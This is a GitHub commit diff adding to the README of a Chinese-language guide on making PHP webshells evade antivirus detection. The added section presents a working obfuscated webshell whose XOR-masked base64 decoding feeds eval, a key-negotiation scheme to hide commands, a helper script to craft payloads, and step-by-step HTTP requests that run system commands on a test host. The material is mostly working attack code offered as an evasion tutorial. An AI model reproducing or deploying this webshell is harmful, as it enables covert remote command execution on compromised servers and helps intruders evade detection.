Skip to content

Commit 5cfbea7

Browse files
authored
Update README.md
1 parent c16ec09 commit 5cfbea7

File tree

1 file changed

+287
-1
lines changed

1 file changed

+287
-1
lines changed

README.md

Lines changed: 287 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
![WebShell-Bypass-Guide](https://socialify.git.ci/AabyssZG/WebShell-Bypass-Guide/image?description=1&font=Jost&forks=1&issues=1&language=1&logo=https%3A%2F%2Favatars.githubusercontent.com%2Fu%2F54609266%3Fv%3D4&name=1&owner=1&pattern=Floating%20Cogs&stargazers=1&theme=Dark)
44

5-
**手册版本号:V1.3-20230807**
5+
**手册版本号:V1.4-20230924**
66

77
这是一本能让你从零开始学习PHP的WebShell免杀的手册,同时我会在内部群迭代更新
88

@@ -388,6 +388,51 @@ Array
388388
)
389389
```
390390

391+
### 1.6 isset()
392+
393+
**`isset()` 函数用于检测变量是否已设置并且非 NULL**
394+
395+
isset 在php中用来判断变量是否声明,该函数返回布尔类型的值,即true/false
396+
isset 只能用于变量,因为传递任何其它参数都将造成解析错误
397+
398+
Demo:
399+
400+
```php
401+
$var = '';
402+
403+
// 结果为 TRUE,所以后边的文本将被打印出来。
404+
if (isset($var)) {
405+
echo "变量已设置。" . PHP_EOL;
406+
}
407+
408+
// 在后边的例子中,我们将使用 var_dump 输出 isset() 的返回值。
409+
// the return value of isset().
410+
411+
$a = "test";
412+
$b = "anothertest";
413+
414+
var_dump(isset($a)); // TRUE
415+
var_dump(isset($a, $b)); // TRUE
416+
417+
unset ($a);
418+
419+
var_dump(isset($a)); // FALSE
420+
var_dump(isset($a, $b)); // FALSE
421+
422+
$foo = NULL;
423+
var_dump(isset($foo)); // FALSE
424+
```
425+
426+
输出:
427+
428+
```php
429+
bool(true)
430+
bool(true)
431+
bool(false)
432+
bool(false)
433+
bool(false)
434+
```
435+
391436

392437
## 2# 字符串处理类函数
393438

@@ -1488,6 +1533,247 @@ print(response.text)
14881533

14891534
![样例二成功执行命令.png](https://blog.zgsec.cn/usr/uploads/2023/08/2146327561.png)
14901535

1536+
### 12.3 样例三
1537+
1538+
这个免杀马是在近期某大型攻防演练中捕获到的,也是能过一众查杀引擎~
1539+
这个样例使用了异或+编解码转换+参数加解密回调+密钥协商的手法,成功规避了语义分析和正则匹配式,具有实战意义
1540+
1541+
这个WebShell和冰蝎马等具有相似性,各位师傅不妨可以看看原理:
1542+
1543+
```php
1544+
<?php
1545+
session_start();
1546+
1547+
function set_token($v,$t) {
1548+
$r="";
1549+
for ($x=0; $x<strlen($v);$x++) {
1550+
if(($x+1)%strlen($t)!=0) {
1551+
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t))));
1552+
} else {
1553+
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16)));
1554+
}
1555+
}
1556+
return $r;
1557+
}
1558+
1559+
if (isset($_SERVER["HTTP_TOKEN"])) {
1560+
$t=substr(md5(rand()),16);
1561+
$_SESSION['token']=$t;
1562+
header('Token:'.$_SESSION['token']);
1563+
} else {
1564+
if(!isset($_SESSION['token'])) {
1565+
return;
1566+
}
1567+
$v=$_SERVER['HTTP_X_CSRF_TOKEN'];
1568+
$b='DQHNGW'^'&0;+qc';
1569+
$b.= '_dec'.chr(111).'de';
1570+
$v=$b($v."");
1571+
1572+
class E {
1573+
public function __construct($p) {
1574+
$c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e";
1575+
$e = $c($p);
1576+
eval(null.$e."");
1577+
}
1578+
}
1579+
@new E(set_token($v, $_SESSION['token']));
1580+
}
1581+
```
1582+
1583+
这个WebShell要如何执行命令呢?共需要三步,请看我细细分析~
1584+
1585+
首先,这个函数定义了一个函数 `set_token()` 和一个类 `class E`,但我们不着急看,我们先看PHP先执行的部分:
1586+
1587+
```php
1588+
if (isset($_SERVER["HTTP_TOKEN"])) {
1589+
$t=substr(md5(rand()),16);
1590+
$_SESSION['token']=$t;
1591+
header('Token:'.$_SESSION['token']);
1592+
} else {
1593+
if(!isset($_SESSION['token'])) {
1594+
return;
1595+
}
1596+
$v=$_SERVER['HTTP_X_CSRF_TOKEN'];
1597+
$b='DQHNGW'^'&0;+qc';
1598+
$b.= '_dec'.chr(111).'de';
1599+
$v=$b($v."");
1600+
}
1601+
```
1602+
1603+
由1.6讲到的知识点,结合PHP代码可得:
1604+
1605+
>if (!isset($_SESSION['token'])) 这行代码首先检查当前会话(session)中是否存在名为 "token" 的变量。
1606+
>$_SESSION 是用于在PHP中存储会话数据的关联数组,通常用于在不同页面之间共享数据。isset函数用于检查变量是否已经被设置,如果变量存在并且有值,返回 true,否则返回 false。
1607+
1608+
所以根据知识点,我们要先给服务器发一个 `Token` 值,这样就可以进入IF,服务器就会生成一个随机的令牌(token)并将其存储在会话(session)中,并通过HTTP头部返回给客户端
1609+
1610+
但 `Token` 只需要获取一次就行了,因为服务器生成并返还令牌(token)后,会存在会话(session)中,简单理解就是服务器的内存当中,后续的使用就不要添加`Token` 值了
1611+
**【因为如果再获取,令牌(token)又会重新生成,就无法进入else的后续步骤,这一步可能有点绕,不明白的师傅不妨上手实践一下哈哈】**
1612+
1613+
```php
1614+
$v=$_SERVER['HTTP_X_CSRF_TOKEN'];
1615+
$b='DQHNGW'^'&0;+qc';
1616+
$b.= '_dec'.chr(111).'de';
1617+
$v=$b($v."");
1618+
```
1619+
1620+
由8.1讲到的异或和0.1讲到的拼接赋值,以上代码可转化为:
1621+
1622+
```php
1623+
$v = $_SERVER['HTTP_X_CSRF_TOKEN'];
1624+
$b = "base64_decode";
1625+
$v = $b($v."");
1626+
```
1627+
1628+
意思就是,从HTTP请求头获取名为 "HTTP_X_CSRF_TOKEN" 的值,并进行Base64解密再讲值重新赋给 `$v`
1629+
1630+
接下来我们再来看类 `class E` :
1631+
1632+
```php
1633+
class E {
1634+
public function __construct($p) {
1635+
$c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e";
1636+
$e = $c($p);
1637+
eval(null.$e."");
1638+
}
1639+
}
1640+
```
1641+
1642+
同样根据相关知识点,我们可以将以上代码转化为以下:
1643+
1644+
```php
1645+
class E {
1646+
public function __construct($p) {
1647+
$c = "base64_decode";
1648+
$e = $c($p);
1649+
eval(null.$e."");
1650+
}
1651+
}
1652+
```
1653+
1654+
意思就是类 `class E` 接受一个参数 `$p`,将其通过Base64解密后,放入高危函数 `eval` 内执行
1655+
**那我们想要成功执行命令,就必须控制 `$p` 的传入值**
1656+
1657+
那我们看看所谓的 `$p` 是从哪里传入的吧:
1658+
1659+
```php
1660+
@new E(set_token($v, $_SESSION['token']));
1661+
```
1662+
1663+
由此可知,`$p``set_token($v, $_SESSION['token'])` 的执行结果,所以我们要控制 `set_token($v, $_SESSION['token'])` 的内容才能成功执行命令
1664+
1665+
- `$v` 参数:从HTTP请求头获取名为 "HTTP_X_CSRF_TOKEN" 的值,并进行Base64解密再讲值重新赋给 `$v`
1666+
- `$_SESSION['token']` 参数:给服务器发一个 `TOKEN` 值,会生成一个随机的令牌(token)并将其存储在会话(session)中,并通过HTTP头部返回给客户端
1667+
1668+
明白了两个参数都是从哪来的之后,我们再来看函数 `set_token()`
1669+
1670+
```php
1671+
function set_token($v,$t) {
1672+
$r="";
1673+
for ($x=0; $x<strlen($v);$x++) {
1674+
if(($x+1)%strlen($t)!=0) {
1675+
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t))));
1676+
} else {
1677+
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16)));
1678+
}
1679+
}
1680+
return $r;
1681+
}
1682+
```
1683+
1684+
简单来说,函数 `set_token($v, $t)` 就是一个加密算法,作用是根据输入的两个字符串 `$v` `$t`,返回一个新的字符串 `$r`
1685+
该函数采用异或(XOR)操作对两个字符串的每个字符进行逐一处理,并将结果拼接成新的字符串返回
1686+
1687+
而返回的 `$r` 变量,最终会传入 `@new E($r)`,进行Base64解密并放入高危函数 `eval` 内执行
1688+
1689+
打个比方,假设我们想执行系统命令 `whoami`,那 `$r` 变量就应该是 `system('whoami'); ` Base64加密后的字符串 `c3lzdGVtKCd3aG9hbWknKTsg`
1690+
`$r` 变量又是 `set_token($v, $_SESSION['token'])` 的加密结果,看上去很清晰,那目前我们的困境是什么?
1691+
1692+
那就是我们不知道 `$v` 应该传什么值!!!我们目前只知道 `$t=>$_SESSION['token']` 和执行的最终结果 `$r=>c3lzdGVtKCd3aG9hbWknKTsg`,那我们能不能通过这两个变量获得 `$v`呢,当然可以!!!
1693+
1694+
```php
1695+
<?php
1696+
function decrypt_token($r, $t) {
1697+
$v = "";
1698+
for ($x = 0; $x < strlen($r); $x++) {
1699+
if (($x + 1) % strlen($t) != 0) {
1700+
$v .= chr(ord(substr($r, $x, $x + 1)) ^ ord(substr($t, $x % strlen($t), ($x + 1) % strlen($t))));
1701+
} else {
1702+
$v .= chr(ord(substr($r, $x, $x + 1)) ^ ord(substr($t, $x % strlen($t), 16)));
1703+
}
1704+
}
1705+
return $v;
1706+
}
1707+
1708+
// 已知的 $t 和 $r 的值
1709+
$t = $_POST['token']; //已知的 $t 的值
1710+
$r = $_POST['out']; //"c3lzdGVtKCd3aG9hbWknKTsg" 已知的 $r 的值
1711+
1712+
// 解密已知的 $r 值得到 $v
1713+
$v = decrypt_token($r, $t);
1714+
echo base64_encode($v);
1715+
```
1716+
1717+
通过编写这么一段代码,调换了一下顺序,就可以通过 `$t=>$_SESSION['token']``$r=>c3lzdGVtKCd3aG9hbWknKTsg`,拿到参数 `$v`
1718+
1719+
至此,整条利用链已经清晰,我们来复现一下吧:
1720+
1721+
#### 12.3.1 第一步、密钥协商得到Token
1722+
1723+
对WebShell进行发包,`Token` 随便填啥都行
1724+
1725+
```http
1726+
GET /muma.php HTTP/1.1
1727+
Host: test.ctf.com
1728+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
1729+
Token: 1
1730+
Content-Length: 0
1731+
1732+
```
1733+
1734+
在返回包中可以看到服务器生成的 `Token` 值和 `Cookie`
1735+
1736+
![样例三-1.png](https://blog.zgsec.cn/usr/uploads/2023/09/3979805148.png)
1737+
1738+
#### 12.3.2 第二步,得到X-CSRF-TOKEN
1739+
1740+
假设我们想执行系统命令 `whoami`,PHP代码就是 `system('whoami'); `,对其进行Base64加密后的字符串 `c3lzdGVtKCd3aG9hbWknKTsg`,当然你想执行其他的命令也行哈哈
1741+
1742+
```http
1743+
POST /decode.php HTTP/1.1
1744+
Host: test.ctf.com
1745+
Content-Type: application/x-www-form-urlencoded
1746+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
1747+
Content-Length: 0
1748+
1749+
token=a2b3fca92539495e&out=c3lzdGVtKCd3aG9hbWknKTsg
1750+
```
1751+
1752+
然后通过上文写的解密PHP,通过第一步获得的 `Token` 值和最终Base64加密后的字符串 `c3lzdGVtKCd3aG9hbWknKTsg`,拿到得到 `X-CSRF-TOKEN`
1753+
1754+
![样例三-2.png](https://blog.zgsec.cn/usr/uploads/2023/09/1178498786.png)
1755+
1756+
**注:这不是对WebShell发包,而是我上面写的解密PHP `decode.php` 来进行解密**
1757+
1758+
#### 12.3.3 第三步,利用木马成功执行命令
1759+
1760+
现在已经拿到 `X-CSRF-TOKEN``Cookie` 了,那就直接发包即可
1761+
1762+
```http
1763+
POST /muma.php HTTP/1.1
1764+
Host: test.ctf.com
1765+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
1766+
Content-Type: application/x-www-form-urlencoded
1767+
Cookie: PHPSESSID=6g4sgte2t8nnv65u8er5cfdtnq;
1768+
X-CSRF-TOKEN: AgEOSQIkN015dlcKVX4MDQNlCV0tNxJe
1769+
Content-Length: 0
1770+
1771+
```
1772+
1773+
可以看到,成功执行系统命令 `whoami`
1774+
1775+
![样例三-3.png](https://blog.zgsec.cn/usr/uploads/2023/09/3688888416.png)
1776+
14911777
所以你学废了吗?更多有趣的WebShell免杀案例等我后续更新~
14921778

14931779

0 commit comments

Comments
 (0)